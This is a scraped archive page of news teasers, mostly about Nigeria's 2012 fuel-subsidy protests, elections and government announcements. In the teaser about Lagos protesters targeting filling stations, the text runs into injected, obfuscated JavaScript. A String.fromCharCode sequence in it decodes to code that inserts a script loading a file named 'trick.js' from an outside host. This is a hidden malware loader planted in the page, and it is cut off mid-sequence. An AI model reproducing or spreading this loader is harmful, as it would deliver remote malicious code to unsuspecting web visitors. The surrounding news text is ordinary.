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Group Supports Withdrawal of Fuel Subsidy

15Mar

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Group Supports Withdrawal of Fuel Subsidy

The Northern Patriotic Front (NPF), a pro-democracy group in Abuja on Wednesday said the withdrawal of fuel subsidy would salvage the national economic crunch. Alhaji Ali Abacha, the National Coordinator of the group, gave the support in an interview with NAN. According to him, the policy will cause temporary pains to Nigerians but at the end of the day, we shall overcome the economic predicaments. (more…)

INEC Plans Smooth Governorship Election in Adamawa

15Mar

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INEC Plans Smooth Governorship Election in Adamawa

INEC will ensure that the January 14 governorship election in Adamawa is hitch free, Mr Kayode Idowu, Chief Press Secretary to INEC Chairman, Prof. Attahiru Jega said on Wednesday. (more…)

15Mar

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LASG Shuts Alayabiagba, Iganmu Markets

The Lagos State Government said on Wednesday that it has shut the Alayabiagba and Iganmu markets, both at Orile-Iganmu, for violating environmental laws. The Marshal-General of the Kick Against Indiscipline (KAI) Brigade, (more…)

Leading in Vote, Egypt Islamists Reach out to Rivals

15Mar

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Leading in Vote, Egypt Islamists Reach out to Rivals

The Islamist Muslim Brotherhood on Wednesday, edged towards a dominant role in Egypt's first free parliament in decades, but said it would not impose its will over a new constitution. (more…)

Minister Condemns Irregularities in Fed. University of Petroleum Resources, Effurun

15Mar

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Minister Condemns Irregularities in Fed. University of Petroleum Resources, Effurun

Minister of Education Ruqayyatu Rufa’I, on Wednesday condemned the irregularities at the Federal University of Petroleum Resources Effurun (EFFURE) in Delta. Rufa’I was speaking in Abuja at the inauguration (more…)

Nigeria Sets Up Tourism Development Fund

15Mar

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Nigeria Sets Up Tourism Development Fund

- Declares St. Patricks College, Calabar, others as Tourism Destinations Edem Duke, the Minister for Tourism, Culture and National Orientation, says President Goodluck Jonathan has approved (more…)

Labour Unions Vow to Ground Nigeria Over Jonathan’s Subsidy Removal

15Mar

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Labour Unions Vow to Ground Nigeria Over Jonathan’s Subsidy Removal

- Lagos PDP Endorses Occupy Nigeria Protest Warns Against Hijack Like a local spark that spreads in wild savannah like an harmattan wildfire, with the killing of an undergraduate computer science student Muyideen Mustapha in Ilorin on Tuesday, (more…)

Shell’s Response to Bonga Oil Spill Fell Short of Standards – NIMASA

15Mar

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Shell’s Response to Bonga Oil Spill Fell Short of Standards – NIMASA

Patrick Akpobolokemi, the Director-General of Nigerian Maritime Administration and Safety Agency (NIMASA), says Shell’s response to the Bonga oil spill fell short of international and national standards. (more…)

15Mar

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Stephen Lawrence Killers Jailed

- Dobson caged for 15 years and two months- Norris gets 14 years and three months By STAFF REPORTER Stephen Lawrence's killers Gary Dobson and David Norris were today jailed for life for the racist murder they carried out nearly 19 years ago. (more…)

Unmask Forces Behind Boko Haram Sect – Garba

15Mar

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Unmask Forces Behind Boko Haram Sect – Garba

The Federal Government has been urged to use its security agencies to unmask the forces and people behind the dreaded Boko Haram sect. Alhaji Muhammad Garba, Deputy Governorship candidate (more…)

Work Starts on Federal Roads Rehabilitation in Cross River

15Mar

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Work Starts on Federal Roads Rehabilitation in Cross River

The Senate Leader, Sen. Victor Ndoma Egba says the Federal Government has awarded contract for the rehabilitation of some federal roads in the country. Ndoma-Egba, who disclosed (more…)

Santorum Singles Out Black People as Dependent on Government

15Mar

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Santorum Singles Out Black People as Dependent on Government

SIOUX CITY, Iowa – Rick Santorum added a twist to the Republican argument that President Obama wants to make people more dependent on the federal government. He singled out blacks as people whose lives (more…)

Lagos Protesters Target Businesses Owned by Jonathan’s Associates Tinubu and Jonathan

15Mar

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Lagos Protesters Target Businesses Owned by Jonathan’s Associates Tinubu and Jonathan

The occupy Nigeria protests are threatening to go violent as protesters are now targeting and setting ablaze petrol stations suspected to belong to associates of President Goodluck Jonathan. Eyewitnesses said that AP filling stations belonging to billionaire Femi Otedola and Oando owned by Mr. Wale Tinubu have been followed during Tuesday’s protest. var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,5...

Citizen Activists Occupy Fajuyi Memorial Park in Ado-Ekiti

15Mar

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Citizen Activists Occupy Fajuyi Memorial Park in Ado-Ekiti

Unfazed by the isolation occasioned by the fact that theirs was only a two-man protest, a couple of young protesters took to the streets of Ado-Ekiti, capital of Ekiti State, on Thursday, to register their part (more…)

Subsidy Removal: Jonathan Government Has Been Hijacked by a Cabal – Cleric

15Mar

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Subsidy Removal: Jonathan Government Has Been Hijacked by a Cabal – Cleric

Following the removal of fuel subsidy by the Nigerian government, an Ibadan-based Cleric, Apostle Perez Iyiola Oluyemi, has joined millions of Nigerians to condemn the recent removal of subsidy by the Jonathan (more…)

“The Young Ilorin Protester Will Not Die In Vain”

15Mar

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“The Young Ilorin Protester Will Not Die In Vain”

EnoughisEnough Nigeria Condemns The Deceit Of The Nigerian Government: #Cutgovernmentwaste Not #Fuelsubsidy. Yesterday, news came in – now confirmed - that a 22-year-old Nigerian, Mustapha Muyeedeen Mofoluwasho Opobiyi, was shot down during (more…)

Kano Anti-Subsidy Removal Protests Turn Violent

15Mar

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Kano Anti-Subsidy Removal Protests Turn Violent

Christian and Moslem in Kano State may have reached an agreement to work together to oppose the reckless decision by the Goodluck Jonathan government to impose oil subsidy removal on Nigeria. (more…)

Occupy Nigeria Protest Turns Violent In South West

15Mar

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Occupy Nigeria Protest Turns Violent In South West

- Military, Police Used Tear Gas to Disperse ProtestersStories and Pictures by Alaba Taoreed Abdulrazak, South-West Bureau Editor In continuation of the ongoing protests over the removal of fuel subsidy by the Nigerian government, cities as Ibadan, (more…)

Assuring World’s Best Military, Obama Announces Budget Cuts in Pentagon Speech

15Mar

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Assuring World’s Best Military, Obama Announces Budget Cuts in Pentagon Speech

President Barack Obama vowed Thursday the United States will maintain the best-equipped military in history despite deep and looming defense budget cuts, but Pentagon leaders acknowledged (more…)

Court of Appeal Uphold Ajimobi’s Mandate

15Mar

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Court of Appeal Uphold Ajimobi’s Mandate

The Court of Appeal sitting in Ibadan on Thursday upheld the election of the State Governor, Senator Abiola Ajimobi. While responding the governor described his victory at the Court (more…)